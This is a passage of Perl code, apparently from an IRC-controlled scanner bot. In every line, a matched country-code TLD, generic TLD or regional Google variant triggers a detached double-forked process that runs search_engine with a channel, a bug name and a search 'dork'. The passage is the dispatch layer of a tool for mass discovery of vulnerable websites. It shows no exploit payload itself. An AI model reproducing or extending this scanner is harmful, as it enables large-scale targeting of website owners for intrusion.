if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ch"); } exit; } }
if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tw"); } exit; } }
if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tj"); } exit; } }
if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bs"); } exit; } }
if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"to"); } exit; } }
if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tt"); } exit; } }
if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tr"); } exit; } }
if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tm"); } exit; } }
if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vi"); } exit; } }
if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ug"); } exit; } }
if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"uy"); } exit; } }
if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"uz"); } exit; } }
if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ve"); } exit; } }
if ($engine =~ /vm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vm"); } exit; } }
if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"zm"); } exit; } }
if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ws"); } exit; } }
if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"af"); } exit; } }
if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ax"); } exit; } }
if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"al"); } exit; } }
if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"dz"); } exit; } }
if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ao"); } exit; } }
if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"aq"); } exit; } }
if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"am"); } exit; } }
if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"aw"); } exit; } }
if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ac"); } exit; } }
if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bj"); } exit; } }
if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bm"); } exit; } }
if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bt"); } exit; } }
if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bw"); } exit; } }
if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"io"); } exit; } }
if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bn"); } exit; } }
if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bf"); } exit; } }
if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kh"); } exit; } }
if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cm"); } exit; } }
if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cv"); } exit; } }
if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ky"); } exit; } }
if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cf"); } exit; } }
if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cx"); } exit; } }
if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cw"); } exit; } }
if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cy"); } exit; } }
if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fk"); } exit; } }
if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fo"); } exit; } }
if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gh"); } exit; } }
if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gd"); } exit; } }
if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gp"); } exit; } }
if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gu"); } exit; } }
if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gn"); } exit; } }
if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gy"); } exit; } }
if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"hm"); } exit; } }
if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"iq"); } exit; } }
if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"jm"); } exit; } }
if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ki"); } exit; } }
if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kw"); } exit; } }
if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"la"); } exit; } }
if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lb"); } exit; } }
if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lr"); } exit; } }
if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mo"); } exit; } }
if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mg"); } exit; } }
if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mv"); } exit; } }
if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mp"); } exit; } }
if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mq"); } exit; } }
if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mr"); } exit; } }
if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"yt"); } exit; } }
if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"md"); } exit; } }
if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mc"); } exit; } }
if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"me"); } exit; } }
if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mz"); } exit; } }
if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nr"); } exit; } }
if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nc"); } exit; } }
if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ng"); } exit; } }
if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nu"); } exit; } }
if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pw"); } exit; } }
if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ps"); } exit; } }
if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cq"); } exit; } }
if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"re"); } exit; } }
if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lc"); } exit; } }
if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pm"); } exit; } }
if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"st"); } exit; } }
if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"rs"); } exit; } }
if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gs"); } exit; } }
if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sl"); } exit; } }
if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sx"); } exit; } }
if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sb"); } exit; } }
if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"so"); } exit; } }
if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"su"); } exit; } }
if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kn"); } exit; } }
if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sr"); } exit; } }
if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tz"); } exit; } }
if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tl"); } exit; } }
if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tg"); } exit; } }
if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tk"); } exit; } }
if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tn"); } exit; } }
if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tc"); } exit; } }
if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vu"); } exit; } }
if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"wf"); } exit; } }
if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ye"); } exit; } }
if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"zw"); } exit; } }
if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"com"); } exit; } }
if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"net"); } exit; } }
if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"org"); } exit; } }
if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"biz"); } exit; } }
if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"xxx"); } exit; } }
if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tel"); } exit; } }
if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mil"); } exit; } }
if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pro"); } exit; } }
if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"edu"); } exit; } }
if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gov"); } exit; } }
if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cat"); } exit; } }
if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"info"); } exit; } }
if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"asia"); } exit; } }
if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"name"); } exit; } }
if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"jobs"); } exit; } }
if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mobi"); } exit; } }
if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"aero"); } exit; } }
if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"coop"); } exit; } }
if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"travel"); } exit; } }
if ($engine =~ /GooGle/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGLe"); } exit; } }
if ($engine =~ /GooGleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCA"); } exit; } }
if ($engine =~ /GooGleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleDE"); } exit; } }
if ($engine =~ /GooGleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleUK"); } exit; } }
if ($engine =~ /GooGleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleFR"); } exit; } }
if ($engine =~ /GooGleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleES"); } exit; } }
if ($engine =~ /GooGleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleIT"); } exit; } }
if ($engine =~ /GooGleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleNL"); } exit; } }
if ($engine =~ /GooGleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleBE"); } exit; } }
if ($engine =~ /GooGleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCH"); } exit; } }
if ($engine =~ /GooGleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleSE"); } exit; } }
if ($engine =~ /GooGleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleDK"); } exit; } }
if ($engine =~ /GooGleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleNO"); } exit; } }
if ($engine =~ /GooGleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleNZ"); } exit; } }
if ($engine =~ /GooGleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleIE"); } exit; } }
if ($engine =~ /GooGleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleBR"); } exit; } }
if ($engine =~ /GooGleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleAR"); } exit; } }
if ($engine =~ /GooGleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCO"); } exit; } }
if ($engine =~ /GooGleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCU"); } exit; } }
if ($engine =~ /GooGleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCL"); } exit; } }
if ($engine =~ /GooGleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleMX"); } exit; } }
if ($engine =~ /GooGleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleAU"); } exit; } }
if ($engine =~ /GooGleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleRU"); } exit; } }
if ($engine =~ /GooGleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleAT"); } exit; } }
if ($engine =~ /GooGlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGlePL"); } exit; } }
if ($engine =~ /GooGleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleIL"); } exit; } }
if ($engine =~ /GooGleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleTR"); } exit; } }
if ($engine =~ /GooGleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleUA"); } exit; } }
if ($engine =~ /GooGleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleGR"); } exit; } }
if ($engine =~ /GooGleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleJP"); } exit; } }
if ($engine =~ /GooGleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleCN"); } exit; } }
if ($engine =~ /GooGleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleMY"); } exit; } }
if ($engine =~ /GooGleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleTH"); } exit; } }
if ($engine =~ /GooGleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleIN"); } exit; } }
if ($engine =~ /GooGleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleKR"); } exit; } }
if ($engine =~ /GooGleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleRO"); } exit; } }
if ($engine =~ /GooGleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleTW"); } exit; } }
if ($engine =~ /GooGleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleZA"); } exit; } }
if ($engine =~ /GooGlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGlePT"); } exit; } }
if ($engine =~ /GooGleID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleID"); } exit; } }
if ($engine =~ /GooGleKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleKE"); } exit; } }
if ($engine =~ /GooGleEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleEC"); } exit; } }
if ($engine =~ /GooGleVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleVN"); } exit; } }
if ($engine =~ /GooGleZM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleZM"); } exit; } }
if ($engine =~ /GooGlePH/i) {if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGlePH"); } exit; } }
if ($engine =~ /GooGleBY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"GooGleBY"); } exit; } }
if ($engine =~ /googleSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleSG"); } exit; } }
if ($engine =~ /googleBG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBG"); } exit; } }
if ($engine =~ /googleKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleKZ"); } exit; } }
if ($engine =~ /googleMA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleMA"); } exit; } }
if ($engine =~ /googleEE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleEE"); } exit; } }
if ($engine =~ /googleNU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleNU"); } exit; } }
if ($engine =~ /googleLI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleLI"); } exit; } }
if ($engine =~ /googleSA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleSA"); } exit; } }
if ($engine =~ /googleMU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleMU"); } exit; } }
if ($engine =~ /googleMK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleMK"); } exit; } }
if ($engine =~ /googleAM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleAM"); } exit; } }
if ($engine =~ /googleBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleBO"); } exit; } }
if ($engine =~ /googleCY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleCY"); } exit; } }
if ($engine =~ /googleLU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleLU"); } exit; } }
if ($engine =~ /googlePR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googlePR"); } exit; } }
if ($engine =~ /googlePE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googlePE"); } exit; } }
if ($engine =~ /googleMZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleMZ"); } exit; } }
if ($engine =~ /googleET/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"googleET"); } exit; } }
